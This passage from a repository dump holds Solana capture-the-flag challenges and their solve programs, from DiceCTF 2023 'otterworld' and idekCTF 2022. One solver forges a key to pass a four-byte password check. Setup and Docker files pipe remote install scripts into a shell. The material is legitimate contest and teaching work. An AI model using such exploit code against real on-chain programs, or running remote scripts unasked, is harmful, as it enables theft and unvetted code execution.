/dicectf2023/otterworld/framework-solve/solve/programs/solve/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] 3 | -------------------------------------------------------------------------------- /dicectf2023/otterworld/framework-solve/solve/programs/solve/src/lib.rs: -------------------------------------------------------------------------------- 1 | use anchor_lang::prelude::*; 2 | 3 | use anchor_spl::token::Token; 4 | 5 | declare_id!("osecio1111111111111111111111111111111111111"); 6 | 7 | #[program] 8 | pub mod solve { 9 | use super::*; 10 | 11 | pub fn get_flag(ctx: Context) -> Result<()> { 12 | let cpi_accounts = chall::cpi::accounts::GetFlag { 13 | flag: ctx.accounts.state.to_account_info(), 14 | password: ctx.accounts.password.to_account_info(), 15 | payer: ctx.accounts.payer.to_account_info(), 16 | system_program: ctx.accounts.system_program.to_account_info(), 17 | rent: ctx.accounts.rent.to_account_info(), 18 | }; 19 | let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts); 20 | chall::cpi::get_flag(cpi_ctx)?; 21 | 22 | Ok(()) 23 | } 24 | } 25 | 26 | #[derive(Accounts)] 27 | pub struct GetFlag<'info> { 28 | #[account(mut)] 29 | pub state: AccountInfo<'info>, 30 | #[account(mut)] 31 | pub payer: Signer<'info>, 32 | pub password: AccountInfo<'info>, 33 | 34 | pub system_program: Program<'info, System>, 35 | pub token_program: Program<'info, Token>, 36 | pub rent: Sysvar<'info, Rent>, 37 | pub chall: Program<'info, chall::program::Chall> 38 | } 39 | -------------------------------------------------------------------------------- /dicectf2023/otterworld/framework-solve/solve/tests/solve.ts: -------------------------------------------------------------------------------- 1 | import * as anchor from "@project-serum/anchor"; 2 | import { Program } from "@project-serum/anchor"; 3 | import { Solve } from "../target/types/solve"; 4 | 5 | describe("solve", () => { 6 | // Configure the client to use the local cluster. 7 | anchor.setProvider(anchor.AnchorProvider.env()); 8 | 9 | const program = anchor.workspace.Solve as Program; 10 | 11 | it("Is initialized!", async () => { 12 | // Add your test here. 13 | const tx = await program.methods.initialize().rpc(); 14 | console.log("Your transaction signature", tx); 15 | }); 16 | }); 17 | -------------------------------------------------------------------------------- /dicectf2023/otterworld/framework-solve/solve/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "types": ["mocha", "chai"], 4 | "typeRoots": ["./node_modules/@types"], 5 | "lib": ["es2015"], 6 | "module": "commonjs", 7 | "target": "es6", 8 | "esModuleInterop": true 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /dicectf2023/otterworld/framework-solve/src/main.rs: -------------------------------------------------------------------------------- 1 | use chall::anchor_lang::{InstructionData, ToAccountMetas}; 2 | use chall::FLAG_SEED; 3 | use solana_program::pubkey; 4 | use solana_program::pubkey::Pubkey; 5 | use std::net::TcpStream; 6 | use std::{error::Error, fs, io::prelude::*, io::BufReader, str::FromStr}; 7 | 8 | fn get_line(reader: &mut BufReader) -> Result> { 9 | let mut line = String::new(); 10 | reader.read_line(&mut line)?; 11 | 12 | let ret = line 13 | .split(':') 14 | .nth(1) 15 | .ok_or("invalid input")? 16 | .trim() 17 | .to_string(); 18 | 19 | Ok(ret) 20 | } 21 | 22 | fn main() -> Result<(), Box> { 23 | let mut stream = TcpStream::connect("127.0.0.1:5555")?; 24 | let mut reader = BufReader::new(stream.try_clone().unwrap()); 25 | 26 | let mut line = String::new(); 27 | 28 | let so_data = fs::read("./solve/target/deploy/solve.so")?; 29 | 30 | reader.read_line(&mut line)?; 31 | writeln!(stream, "{}", solve::ID)?; 32 | reader.read_line(&mut line)?; 33 | writeln!(stream, "{}", so_data.len())?; 34 | stream.write_all(&so_data)?; 35 | 36 | let chall_id = chall::ID; 37 | 38 | let user = Pubkey::from_str(&get_line(&mut reader)?)?; 39 | 40 | let ix = solve::instruction::GetFlag {}; 41 | let data = ix.data(); 42 | 43 | let state = Pubkey::find_program_address(&[FLAG_SEED], &chall_id).0; 44 | 45 | let mut password_array: [u8; 32] = [69; 32]; 46 | password_array[0] = b'o'; 47 | password_array[1] = b's'; 48 | password_array[2] = b'e'; 49 | password_array[3] = b'c'; 50 | let password = Pubkey::new_from_array(password_array); 51 | let ix_accounts = solve::accounts::GetFlag { 52 | state, 53 | payer: user, 54 | password: password, 55 | token_program: spl_token::ID, 56 | chall: chall_id, 57 | system_program: solana_program::system_program::ID, 58 | rent: solana_program::sysvar::rent::ID, 59 | }; 60 | 61 | let metas = ix_accounts.to_account_metas(None); 62 | 63 | reader.read_line(&mut line)?; 64 | writeln!(stream, "{}", metas.len())?; 65 | for meta in metas { 66 | let mut meta_str = String::new(); 67 | meta_str.push('m'); 68 | if meta.is_writable { 69 | meta_str.push('w'); 70 | } 71 | if meta.is_signer { 72 | meta_str.push('s'); 73 | } 74 | meta_str.push(' '); 75 | meta_str.push_str(&meta.pubkey.to_string()); 76 | 77 | writeln!(stream, "{}", meta_str)?; 78 | stream.flush()?; 79 | } 80 | 81 | reader.read_line(&mut line)?; 82 | writeln!(stream, "{}", data.len())?; 83 | stream.write_all(&data)?; 84 | 85 | stream.flush()?; 86 | 87 | line.clear(); 88 | while reader.read_line(&mut line)? != 0 { 89 | print!("{}", line); 90 | line.clear(); 91 | } 92 | 93 | Ok(()) 94 | } 95 | -------------------------------------------------------------------------------- /dicectf2023/otterworld/framework/.dockerignore: -------------------------------------------------------------------------------- 1 | target 2 | chall/target 3 | !chall/target/deploy 4 | chall/.anchor 5 | chall/node_modules 6 | -------------------------------------------------------------------------------- /dicectf2023/otterworld/framework/.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | -------------------------------------------------------------------------------- /dicectf2023/otterworld/framework/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "framework" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | solana-program-test = "1.9.13" 10 | solana-program = "1.9.13" 11 | solana-logger = "1.9.13" 12 | solana-sdk = "1.9.13" 13 | spl-token = "3.3.0" 14 | chall = { path ="./chall/programs/chall", features = ["no-entrypoint"] } 15 | sol-ctf-framework = { git = "https://github.com/otter-sec/sol-ctf-framework", branch="rewrite-v2" } 16 | #sol-ctf-framework = { path="../../sol-ctf-framework" } 17 | threadpool = "1.8.1" 18 | -------------------------------------------------------------------------------- /dicectf2023/otterworld/framework/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM rust@sha256:0372c87d4372dc1ae23caaf287f643f7c5ca799b40405efbb1bdf67588cc2629 2 | 3 | RUN apt-get update && apt-get install -qy libudev-dev tini 4 | 5 | WORKDIR /app 6 | COPY Cargo.toml Cargo.lock ./ 7 | COPY src ./src 8 | 9 | COPY chall ./chall 10 | 11 | RUN cargo build --release 12 | 13 | RUN sh -c "$(curl -sSfL https://release.solana.com/v1.10.32/install)" 14 | ENV PATH="/root/.local/share/solana/install/active_release/bin:${PATH}" 15 | RUN cd chall && cargo build-bpf 16 | 17 | ENTRYPOINT [ "tini", "-g", "--" ] 18 | CMD [ "./target/release/framework" ] 19 | -------------------------------------------------------------------------------- /dicectf2023/otterworld/framework/chall/.gitignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | **/*.rs.bk 6 | node_modules 7 | test-ledger 8 | -------------------------------------------------------------------------------- /dicectf2023/otterworld/framework/chall/.prettierignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | node_modules 6 | dist 7 | build 8 | test-ledger 9 | -------------------------------------------------------------------------------- /dicectf2023/otterworld/framework/chall/Anchor.toml: -------------------------------------------------------------------------------- 1 | [features] 2 | seeds = false 3 | [programs.localnet] 4 | chall = "Fg6PaFpoGXkYsidMpWTK6W2BeZ7FEfcYkg476zPFsLnS" 5 | 6 | [registry] 7 | url = "https://anchor.projectserum.com" 8 | 9 | [provider] 10 | cluster = "localnet" 11 | wallet = "/root/.config/solana/id.json" 12 | 13 | [scripts] 14 | test = "yarn run ts-mocha -p ./tsconfig.json -t 1000000 tests/**/*.ts" 15 | -------------------------------------------------------------------------------- /dicectf2023/otterworld/framework/chall/Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | members = [ 3 | "programs/*" 4 | ] 5 | -------------------------------------------------------------------------------- /dicectf2023/otterworld/framework/chall/migrations/deploy.ts: -------------------------------------------------------------------------------- 1 | // Migrations are an early feature. Currently, they're nothing more than this 2 | // single deploy script that's invoked from the CLI, injecting a provider 3 | // configured from the workspace's Anchor.toml. 4 | 5 | const anchor = require("@project-serum/anchor"); 6 | 7 | module.exports = async function (provider) { 8 | // Configure client to use the provider. 9 | anchor.setProvider(provider); 10 | 11 | // Add your deploy script here. 12 | }; 13 | -------------------------------------------------------------------------------- /dicectf2023/otterworld/framework/chall/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "scripts": { 3 | "lint:fix": "prettier */*.js \"*/**/*{.js,.ts}\" -w", 4 | "lint": "prettier */*.js \"*/**/*{.js,.ts}\" --check" 5 | }, 6 | "dependencies": { 7 | "@project-serum/anchor": "^0.24.2" 8 | }, 9 | "devDependencies": { 10 | "chai": "^4.3.4", 11 | "mocha": "^9.0.3", 12 | "ts-mocha": "^8.0.0", 13 | "@types/bn.js": "^5.1.0", 14 | "@types/chai": "^4.3.0", 15 | "@types/mocha": "^9.0.0", 16 | "typescript": "^4.3.5", 17 | "prettier": "^2.6.2" 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /dicectf2023/otterworld/framework/chall/programs/chall/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "chall" 3 | version = "0.1.0" 4 | description = "Created with Anchor" 5 | edition = "2021" 6 | 7 | [lib] 8 | crate-type = ["cdylib", "lib"] 9 | name = "chall" 10 | 11 | [features] 12 | no-entrypoint = [] 13 | no-idl = [] 14 | no-log-ix-name = [] 15 | cpi = ["no-entrypoint"] 16 | default = [] 17 | 18 | [profile.release] 19 | overflow-checks = true 20 | opt-level = 3 21 | incremental = false 22 | codegen-units = 1 23 | 24 | [dependencies] 25 | anchor-lang = "0.24.2" 26 | anchor-spl = "0.24.2" 27 | -------------------------------------------------------------------------------- /dicectf2023/otterworld/framework/chall/programs/chall/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] 3 | -------------------------------------------------------------------------------- /dicectf2023/otterworld/framework/chall/programs/chall/src/lib.rs: -------------------------------------------------------------------------------- 1 | use anchor_lang::prelude::*; 2 | use anchor_spl::token::{Mint, Token, TokenAccount, Transfer}; 3 | use anchor_spl::token; 4 | 5 | pub use anchor_lang; 6 | pub use anchor_spl; 7 | 8 | pub const FLAG_SEED: &[u8] = b"flag"; 9 | 10 | declare_id!("osecio1111111111111111111111111111111111112"); 11 | 12 | #[program] 13 | pub mod chall { 14 | use super::*; 15 | 16 | pub fn get_flag(_ctx: Context) -> Result<()> { 17 | Ok(()) 18 | } 19 | 20 | } 21 | 22 | #[derive(Accounts)] 23 | pub struct GetFlag<'info> { 24 | #[account( 25 | init, 26 | seeds = [ FLAG_SEED ], 27 | bump, 28 | payer = payer, 29 | space = 1000 30 | )] 31 | pub flag: Account<'info, Flag>, 32 | 33 | #[account( 34 | constraint = password.key().as_ref()[..4] == b"osec"[..] 35 | )] 36 | pub password: AccountInfo<'info>, 37 | 38 | #[account(mut)] 39 | pub payer: Signer<'info>, 40 | pub system_program: Program<'info, System>, 41 | pub rent: Sysvar<'info, Rent>, 42 | } 43 | 44 | 45 | #[account] 46 | #[repr(C, align(8))] 47 | #[derive(Default)] 48 | pub struct Flag { 49 | } 50 | -------------------------------------------------------------------------------- /dicectf2023/otterworld/framework/chall/tests/chall.ts: -------------------------------------------------------------------------------- 1 | import * as anchor from "@project-serum/anchor"; 2 | import { Program } from "@project-serum/anchor"; 3 | import { Chall } from "../target/types/chall"; 4 | 5 | describe("chall", () => { 6 | // Configure the client to use the local cluster. 7 | anchor.setProvider(anchor.AnchorProvider.env()); 8 | 9 | const program = anchor.workspace.Chall as Program; 10 | const authority = (program.provider as anchor.AnchorProvider).wallet; 11 | 12 | it("Is initialized!", async () => { 13 | // Add your test here. 14 | const counter = anchor.web3.Keypair.generate(); 15 | const tx = await program.methods.initialize() 16 | .accounts({ 17 | counter: counter.pubkey, 18 | authority: authority.pubkey 19 | }) 20 | .rpc(); 21 | console.log("Your transaction signature", tx); 22 | }); 23 | }); 24 | -------------------------------------------------------------------------------- /dicectf2023/otterworld/framework/chall/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "types": ["mocha", "chai"], 4 | "typeRoots": ["./node_modules/@types"], 5 | "lib": ["es2015"], 6 | "module": "commonjs", 7 | "target": "es6", 8 | "esModuleInterop": true 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /dicectf2023/otterworld/framework/src/main.rs: -------------------------------------------------------------------------------- 1 | use chall::anchor_lang::InstructionData; 2 | use chall::anchor_lang::ToAccountMetas; 3 | use chall::FLAG_SEED; 4 | use std::env; 5 | use std::io::Write; 6 | 7 | use sol_ctf_framework::ChallengeBuilder; 8 | 9 | use solana_sdk::compute_budget::ComputeBudgetInstruction; 10 | 11 | use solana_program::instruction::Instruction; 12 | use solana_program::system_instruction; 13 | use solana_program_test::tokio; 14 | use solana_sdk::pubkey::Pubkey; 15 | use solana_sdk::pubkey; 16 | use solana_sdk::signature::Signer; 17 | use solana_sdk::signer::keypair::Keypair; 18 | use std::error::Error; 19 | 20 | use std::net::{TcpListener, TcpStream}; 21 | 22 | #[tokio::main] 23 | async fn main() -> Result<(), Box> { 24 | let listener = TcpListener::bind("0.0.0.0:8080")?; 25 | 26 | println!("starting server at port 8080!"); 27 | 28 | for stream in listener.incoming() { 29 | let stream = stream.unwrap(); 30 | 31 | tokio::spawn(async { 32 | if let Err(err) = handle_connection(stream).await { 33 | println!("error: {:?}", err); 34 | } 35 | }); 36 | } 37 | Ok(()) 38 | } 39 | 40 | async fn handle_connection(mut socket: TcpStream) -> Result<(), Box> { 41 | let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap(); 42 | 43 | let chall_id = builder.add_program("./chall/target/deploy/chall.so", Some(chall::ID)); 44 | let solve_id = builder.input_program()?; 45 | 46 | let valid_pubkey = pubkey!("osecio1111111111111111111111111111111111111"); 47 | 48 | if solve_id != valid_pubkey { 49 | writeln!(socket, "bad pubkey, got: {} expected: {}", solve_id, valid_pubkey)?; 50 | return Ok(()); 51 | } 52 | 53 | let mut chall = builder.build().await; 54 | 55 | let user_keypair = Keypair::new(); 56 | let user = user_keypair.pubkey(); 57 | 58 | let payer_keypair = &chall.ctx.payer; 59 | let payer = payer_keypair.pubkey(); 60 | 61 | chall 62 | .run_ix(system_instruction::transfer(&payer, &user, 100_000_000_000)) 63 | .await?; 64 | 65 | writeln!(socket, "user: {}", user)?; 66 | 67 | let solve_ix = chall.read_instruction(solve_id)?; 68 | println!("{:?}", solve_ix); 69 | 70 | println!("start"); 71 | chall 72 | .run_ixs_full( 73 | &[solve_ix], 74 | &[&user_keypair], 75 | &user_keypair.pubkey(), 76 | ) 77 | .await?; 78 | println!("end"); 79 | 80 | let flag = Pubkey::find_program_address(&[FLAG_SEED], &chall_id).0; 81 | 82 | if let Some(_) = chall.ctx.banks_client.get_account(flag).await? { 83 | writeln!(socket, "congrats!")?; 84 | if let Ok(flag) = env::var("FLAG") { 85 | writeln!(socket, "flag: {:?}", flag)?; 86 | } else { 87 | writeln!(socket, "flag not found, please contact admin")?; 88 | } 89 | } 90 | 91 | Ok(()) 92 | } 93 | -------------------------------------------------------------------------------- /dicectf2023/otterworld/run.sh: -------------------------------------------------------------------------------- 1 | cd framework-solve/solve && cargo build-bpf 2 | cd .. 3 | cargo r --release 4 | -------------------------------------------------------------------------------- /dicectf2023/otterworld/setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | curl https://run.osec.io/solana | sh 4 | -------------------------------------------------------------------------------- /idekctf2022/blockchain1/framework-solve/.gitignore: -------------------------------------------------------------------------------- 1 | target 2 | -------------------------------------------------------------------------------- /idekctf2022/blockchain1/framework-solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "solve-framework" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | solana-program = "*" 10 | spl-token = "*" 11 | solve = { path="./solve/programs/solve", features = ["no-entrypoint"]} 12 | chall = { path="../framework/chall/programs/chall", features = ["no-entrypoint"]} 13 | -------------------------------------------------------------------------------- /idekctf2022/blockchain1/framework-solve/build_solution.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | cd solve && cargo build-bpf 4 | cd .. 5 | cargo build --release 6 | -------------------------------------------------------------------------------- /idekctf2022/blockchain1/framework-solve/solve/.gitignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | **/*.rs.bk 6 | node_modules 7 | test-ledger 8 | -------------------------------------------------------------------------------- /idekctf2022/blockchain1/framework-solve/solve/.prettierignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | node_modules 6 | dist 7 | build 8 | test-ledger 9 | -------------------------------------------------------------------------------- /idekctf2022/blockchain1/framework-solve/solve/Anchor.toml: -------------------------------------------------------------------------------- 1 | [features] 2 | seeds = false 3 | [programs.localnet] 4 | solve = "Fg6PaFpoGXkYsidMpWTK6W2BeZ7FEfcYkg476zPFsLnS" 5 | 6 | [registry] 7 | url = "https://anchor.projectserum.com" 8 | 9 | [provider] 10 | cluster = "localnet" 11 | wallet = "/root/.config/solana/id.json" 12 | 13 | [scripts] 14 | test = "yarn run ts-mocha -p ./tsconfig.json -t 1000000 tests/**/*.ts" 15 | -------------------------------------------------------------------------------- /idekctf2022/blockchain1/framework-solve/solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | members = [ 3 | "programs/*" 4 | ] 5 | -------------------------------------------------------------------------------- /idekctf2022/blockchain1/framework-solve/solve/migrations/deploy.ts: -------------------------------------------------------------------------------- 1 | // Migrations are an early feature. Currently, they're nothing more than this 2 | // single deploy script that's invoked from the CLI, injecting a provider 3 | // configured from the workspace's Anchor.toml. 4 | 5 | const anchor = require("@project-serum/anchor"); 6 | 7 | module.exports = async function (provider) { 8 | // Configure client to use the provider. 9 | anchor.setProvider(provider); 10 | 11 | // Add your deploy script here. 12 | }; 13 | -------------------------------------------------------------------------------- /idekctf2022/blockchain1/framework-solve/solve/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "scripts": { 3 | "lint:fix": "prettier */*.js \"*/**/*{.js,.ts}\" -w", 4 | "lint": "prettier */*.js \"*/**/*{.js,.ts}\" --check" 5 | }, 6 | "dependencies": { 7 | "@project-serum/anchor": "^0.24.2" 8 | }, 9 | "devDependencies": { 10 | "chai": "^4.3.4", 11 | "mocha": "^9.0.3", 12 | "ts-mocha": "^8.0.0", 13 | "@types/bn.js": "^5.1.0", 14 | "@types/chai": "^4.3.0", 15 | "@types/mocha": "^9.0.0", 16 | "typescript": "^4.3.5", 17 | "prettier": "^2.6.2" 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /idekctf2022/blockchain1/framework-solve/solve/programs/solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "solve" 3 | version = "0.1.0" 4 | description = "Created with Anchor" 5 | edition = "2021" 6 | 7 | [lib] 8 | crate-type = ["cdylib", "lib"] 9 | name = "solve" 10 | 11 | [features] 12 | no-entrypoint = [] 13 | no-idl = [] 14 | no-log-ix-name = [] 15 | cpi = ["no-entrypoint"] 16 | default = [] 17 | 18 | [profile.release] 19 | overflow-checks = true 20 | opt-level = 3 21 | incremental = false 22 | codegen-units = 1 23 | 24 | [dependencies] 25 | anchor-lang = "0.24.2" 26 | anchor-spl = "0.24.2" 27 | chall = { path = "../../../../framework/chall/programs/chall", features = ["cpi"]} 28 | -------------------------------------------------------------------------------- /idekctf2022/blockchain1/framework-solve/solve/programs/solve/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] 3 | -------------------------------------------------------------------------------- /idekctf2022/blockchain1/framework-solve/solve/programs/solve/src/lib.rs: -------------------------------------------------------------------------------- 1 | use anchor_lang::prelude::*; 2 | 3 | use anchor_spl::token::{Mint, Token, TokenAccount}; 4 | 5 | declare_id!("28prS7e14Fsm97GE5ws2YpjxseFNkiA33tB5D3hLZv3t"); 6 | 7 | #[program] 8 | pub mod solve { 9 | use super::*; 10 | 11 | pub fn initialize(ctx: Context) -> Result<()> { 12 | 13 | // let cpi_accounts = chall::cpi::accounts::Attempt { 14 | // reserve: ctx.accounts.reserve.to_account_info(), 15 | // record: ctx.accounts.user_record.to_account_info(), 16 | // user_account: ctx.accounts.user_account.to_account_info(), 17 | // mint: ctx.accounts.mint.to_account_info(), 18 | // user: ctx.accounts.user.to_account_info(), 19 | // token_program: ctx.accounts.token_program.to_account_info(), 20 | // }; 21 | // let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts); 22 | // chall::cpi::attempt(cpi_ctx)?; 23 | 24 | // -------------------------------------------- 25 | // your instruction goes here 26 | let cpi_accounts = chall::cpi::accounts::Deposit { 27 | config: ctx.accounts.config.to_account_info(), 28 | reserve: ctx.accounts.reserve.to_account_info(), 29 | user_account: ctx.accounts.user_account.to_account_info(), 30 | mint: ctx.accounts.mint.to_account_info(), 31 | admin: ctx.accounts.admin.to_account_info(), 32 | user: ctx.accounts.user.to_account_info(), 33 | token_program: ctx.accounts.token_program.to_account_info(), 34 | system_program: ctx.accounts.system_program.to_account_info(), 35 | rent: ctx.accounts.rent.to_account_info(), 36 | }; 37 | let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts); 38 | chall::cpi::deposit(cpi_ctx, 1000)?; 39 | 40 | Ok(()) 41 | } 42 | } 43 | 44 | #[derive(Accounts)] 45 | pub struct Initialize<'info> { 46 | #[account(mut)] 47 | pub admin: AccountInfo<'info>, 48 | 49 | #[account(mut)] 50 | pub config: AccountInfo<'info>, 51 | 52 | #[account(mut)] 53 | pub reserve: Account<'info, TokenAccount>, 54 | 55 | #[account(mut)] 56 | pub user_record: AccountInfo<'info>, 57 | 58 | #[account(mut)] 59 | pub user_account: Account<'info, TokenAccount>, 60 | 61 | #[account(mut)] 62 | pub user: Signer<'info>, 63 | 64 | pub mint: Account<'info, Mint>, 65 | 66 | pub token_program: Program<'info, Token>, 67 | 68 | pub system_program: Program<'info, System>, 69 | 70 | pub chall: Program<'info, chall::program::Chall>, 71 | 72 | pub rent: Sysvar<'info, Rent>, 73 | } 74 | -------------------------------------------------------------------------------- /idekctf2022/blockchain1/framework-solve/solve/tests/solve.ts: -------------------------------------------------------------------------------- 1 | import * as anchor from "@project-serum/anchor"; 2 | import { Program } from "@project-serum/anchor"; 3 | import { Solve } from "../target/types/solve"; 4 | 5 | describe("solve", () => { 6 | // Configure the client to use the local cluster. 7 | anchor.setProvider(anchor.AnchorProvider.env()); 8 | 9 | const program = anchor.workspace.Solve as Program; 10 | 11 | it("Is initialized!", async () => { 12 | // Add your test here. 13 | const tx = await program.methods.initialize().rpc(); 14 | console.log("Your transaction signature", tx); 15 | }); 16 | }); 17 | -------------------------------------------------------------------------------- /idekctf2022/blockchain1/framework-solve/solve/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "types": ["mocha", "chai"], 4 | "typeRoots": ["./node_modules/@types"], 5 | "lib": ["es2015"], 6 | "module": "commonjs", 7 | "target": "es6", 8 | "esModuleInterop": true 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /idekctf2022/blockchain1/framework-solve/src/main.rs: -------------------------------------------------------------------------------- 1 | use chall::anchor_lang::{InstructionData, ToAccountMetas, system_program}; 2 | use solana_program::pubkey::Pubkey; 3 | use std::net::TcpStream; 4 | use std::{error::Error, fs, io::prelude::*, io::BufReader, str::FromStr}; 5 | 6 | 7 | fn get_line(reader: &mut BufReader) -> Result> { 8 | let mut line = String::new(); 9 | reader.read_line(&mut line)?; 10 | let ret = line 11 | .split(':') 12 | .nth(1) 13 | .ok_or("invalid input")? 14 | .trim() 15 | .to_string(); 16 | Ok(ret) 17 | } 18 | 19 | 20 | fn main() -> Result<(), Box> { 21 | let mut stream = TcpStream::connect("baby-blockchain-1.chal.idek.team:1337")?; 22 | let mut reader = BufReader::new(stream.try_clone().unwrap()); 23 | 24 | let mut line = String::new(); 25 | 26 | let so_data = fs::read("./solve/target/deploy/solve.so")?; 27 | 28 | reader.read_line(&mut line)?; 29 | writeln!(stream, "{}", solve::ID)?; 30 | reader.read_line(&mut line)?; 31 | writeln!(stream, "{}", so_data.len())?; 32 | stream.write_all(&so_data)?; 33 | 34 | 35 | let chall_id = chall::ID; 36 | 37 | let mint = Pubkey::from_str(&get_line(&mut reader)?)?; 38 | let admin = Pubkey::from_str(&get_line(&mut reader)?)?; 39 | let config = Pubkey::from_str(&get_line(&mut reader)?)?; 40 | let reserve = Pubkey::from_str(&get_line(&mut reader)?)?; 41 | let user = Pubkey::from_str(&get_line(&mut reader)?)?; 42 | let user_record = Pubkey::from_str(&get_line(&mut reader)?)?; 43 | let user_account = Pubkey::from_str(&get_line(&mut reader)?)?; 44 | 45 | println!(""); 46 | println!("mint : {}", mint); 47 | println!("admin : {}", admin); 48 | println!("config : {}", config); 49 | println!("reserve : {}", reserve); 50 | println!("user : {}", user); 51 | println!("user_record : {}", user_record); 52 | println!("user_account : {}", user_account); 53 | println!(""); 54 | 55 | let ix = solve::instruction::Initialize {}; 56 | let data = ix.data(); 57 | 58 | let ix_accounts = solve::accounts::Initialize { 59 | admin, 60 | config, 61 | reserve, 62 | user_record, 63 | user_account, 64 | user, 65 | mint, 66 | token_program: spl_token::ID, 67 | system_program: system_program::ID, 68 | chall: chall_id, 69 | rent: solana_program::sysvar::rent::ID, 70 | }; 71 | 72 | let metas = ix_accounts.to_account_metas(None); 73 | 74 | reader.read_line(&mut line)?; 75 | writeln!(stream, "{}", metas.len())?; 76 | for meta in metas { 77 | let mut meta_str = String::new(); 78 | meta_str.push('m'); 79 | if meta.is_writable { 80 | meta_str.push('w'); 81 | } 82 | if meta.is_signer { 83 | meta_str.push('s'); 84 | } 85 | meta_str.push(' '); 86 | meta_str.push_str(&meta.pubkey.to_string()); 87 | writeln!(stream, "{}", meta_str)?; 88 | stream.flush()?; 89 | } 90 | 91 | reader.read_line(&mut line)?; 92 | writeln!(stream, "{}", data.len())?; 93 | stream.write_all(&data)?; 94 | 95 | stream.flush()?; 96 | 97 | line.clear(); 98 | while reader.read_line(&mut line)? != 0 { 99 | print!("{}", line); 100 | line.clear(); 101 | } 102 | 103 | Ok(()) 104 | } 105 | -------------------------------------------------------------------------------- /idekctf2022/blockchain1/framework/.dockerignore: -------------------------------------------------------------------------------- 1 | target 2 | chall/target 3 | !chall/target/deploy 4 | chall/.anchor 5 | chall/node_modules 6 | -------------------------------------------------------------------------------- /idekctf2022/blockchain1/framework/.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | -------------------------------------------------------------------------------- /idekctf2022/blockchain1/framework/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "framework" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | solana-program-test = "1.9.13" 10 | solana-program = "1.9.13" 11 | solana-logger = "1.9.13" 12 | solana-sdk = "1.9.13" 13 | spl-token = "3.3.0" 14 | chall = { path ="./chall/programs/chall", features = ["no-entrypoint"] } 15 | sol-ctf-framework = { git = "https://github.com/otter-sec/sol-ctf-framework", branch="rewrite-v2" } 16 | #sol-ctf-framework = { path="../../sol-ctf-framework" } 17 | threadpool = "1.8.1" 18 | -------------------------------------------------------------------------------- /idekctf2022/blockchain1/framework/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM rust@sha256:0372c87d4372dc1ae23caaf287f643f7c5ca799b40405efbb1bdf67588cc2629 2 | 3 | RUN apt-get update && apt-get install -qy libudev-dev 4 | 5 | WORKDIR /app 6 | COPY Cargo.toml Cargo.lock ./ 7 | COPY src ./src 8 | 9 | COPY chall ./chall 10 | 11 | RUN cargo build --release 12 | 13 | RUN sh -c "$(curl -sSfL https://release.solana.com/v1.10.32/install)" 14 | ENV PATH="/root/.local/share/solana/install/active_release/bin:${PATH}" 15 | RUN cd chall && cargo build-bpf 16 | 17 | ENV FLAG="idek{This_is_a_fake_flag}" 18 | 19 | CMD [ "./target/release/framework" ] 20 | -------------------------------------------------------------------------------- /idekctf2022/blockchain1/framework/build_challenge.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | cd chall && cargo build-bpf 4 | cd .. 5 | cargo build --release -------------------------------------------------------------------------------- /idekctf2022/blockchain1/framework/chall/.gitignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | **/*.rs.bk 6 | node_modules 7 | test-ledger 8 | -------------------------------------------------------------------------------- /idekctf2022/blockchain1/framework/chall/.prettierignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | node_modules 6 | dist 7 | build 8 | test-ledger 9 | -------------------------------------------------------------------------------- /idekctf2022/blockchain1/framework/chall/Anchor.toml: -------------------------------------------------------------------------------- 1 | [features] 2 | seeds = false 3 | [programs.localnet] 4 | chall = 